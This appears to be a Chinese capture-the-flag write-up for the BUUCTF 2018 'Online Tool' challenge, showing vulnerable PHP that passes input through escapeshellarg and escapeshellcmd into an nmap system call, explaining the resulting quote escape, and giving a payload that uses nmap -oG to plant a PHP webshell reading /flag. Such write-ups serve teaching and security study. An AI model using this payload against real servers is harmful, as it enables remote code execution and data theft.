首页 > 其他分享 >[BUUCTF 2018]Online Tool

[BUUCTF 2018]Online Tool

时间:2024-11-17 23:30:09浏览次数:1  
标签:BUUCTF 函数 Tool Online 2018 escapeshellcmd escapeshellarg

题目链接:[BUUCTF 2018]Online Tool

打开环境,如下所示。

直接得到源码,如下。

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

可以留意到,源码中,用户可控的变量按顺序经过了 escapeshellarg 函数与 escapeshellcmd 函数处理,这就会出现问题。

即,对于单个的单引号,escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符。对于成对的单引号,escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义。当用户单独使用 escapeshellarg 函数或 escapeshellcmd 函数处理变量,都不会发生问题,但同时使用这两个函数时,就可能会出现单引号逃逸的情况,最终让用户可控 shell 的参数。

同时,nmap 存在 -oG 选项,即,将命令及命令的输出写入到文件中。

因此最终 Payload:?host=' <?php echo `cat /flag`;?> -oG test.php '

参考:

标签:BUUCTF,函数,Tool,Online,2018,escapeshellcmd,escapeshellarg
From: https://www.cnblogs.com/imtaieee/p/18551397

相关文章

  • Kibana:使用 Devtools console 把请求变成 Python 或 Nodejs 的代码
    特别指出,这个最新的ElasticStack8.16发布版的功能。我很兴奋地来尝试这个功能。在今天的文章中,我们来使用一个例子来进行详细地描述。安装如果你还没有安装好自己的Elasticsearch及Kibana,请参考如下的文章来进行安装:如何在Linux,MacOS及Windows上进行安装Elast......
  • R语言数据分析可视化——summarytools包的使用
    R语言中的summarytools包通过提供能够用最少的代码生成数据全面摘要的功能,使数据分析更加简单。summarytools包提供了一种简单的方法来生成数据集的摘要统计信息,包括描述性统计、频率表、交叉表、缺失值、异常值、相关性、线性回归、ANOVA、卡方检验等。本文将介绍如何使用......
  • buuctf-[GUET-CTF2019]soul sipse
    小白的第14天~flag奉上:flag{5304}1.下载附件得到一个wav文件,经过一顿尝试无果后百度得知是隐写~2.将其放入kali中,使用steghideextract-sfout.wav指令分离出一个txt1文件,其中是一串下载链接。3.下载得到一个png图片,打开发现出错。将其放入hex中分析,发现文件头中的4......
  • WPF Static ToolBar.ButtonStyleKey
    <Windowx:Class="WpfApp33.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schemas.microsoft.......
  • [网鼎杯 2018]Fakebook 1
    [网鼎杯2018]Fakebook1打开实例发现为博客列表,有登录跳转和类似注册或者添加博客的join跳转查看源码无果打开登陆页,尝试万能密码没有用,尝试从join入手,用admin去随便join一个显示博客不存在期间尝试多种sql注入方法均没有效果,转去其他方向尝试dirsearch目录爆破,发现了......
  • PKUSC2018 最大前缀和
    题意给一个长度为\(n\)的整数序列,求其\(n!\)种排列方式的最大前缀和(不能为空)的总和。\(n\leq20\)解法设全集为\(U\),考虑枚举作为最大前缀和的子集\(S\)。那么要求的就是\(S\)排列后严格最大前缀和在最后一个元素取到和方案数和\(U\backslashS\)排列后每个前缀......
  • [AHOI2018初中组] 分组
    题目Description小可可的学校信息组总共有 nn 个队员,每个人都有一个实力值 aiai​。现在,一年一度的编程大赛就要到了,小可可的学校获得了若干个参赛名额,教练决定把学校信息组的 nn 个队员分成若干个小组去参加这场比赛。但是每个队员都不会愿意与实力跟自己过于悬殊的......
  • Chrome DevTools Protocol 进阶: Page域
    前言本章开始我们将进一步学习ChromeDevToolsProtocol(CDP),首先切入的内容是CDP中的域。在ChromeDevToolsProtocol(CDP)中,Page域是一个至关重要的部分,它负责控制浏览器页面的导航、加载、渲染以及其他与页面相关的操作。通过Page域,你可以执行页面跳转、截图、处理弹......
  • echarts自定义tooltip
    tooltip配置tooltip:{show:true,trigger:'axis',formatter:params=>{letresult=`<div>${params[0].axisValue}</div>`params.forEach(item=>{if(......
  • 解决table内容超常溢出时tooltip位置偏移的问题
      解决思路:<divstyle="width:100px;"data-toggle="tooltip"data-placement="top"title="${displayValue}">${displayValue.substring(0,5)+"..."}</div>这部分截取部分数据,超出...{field:&quo......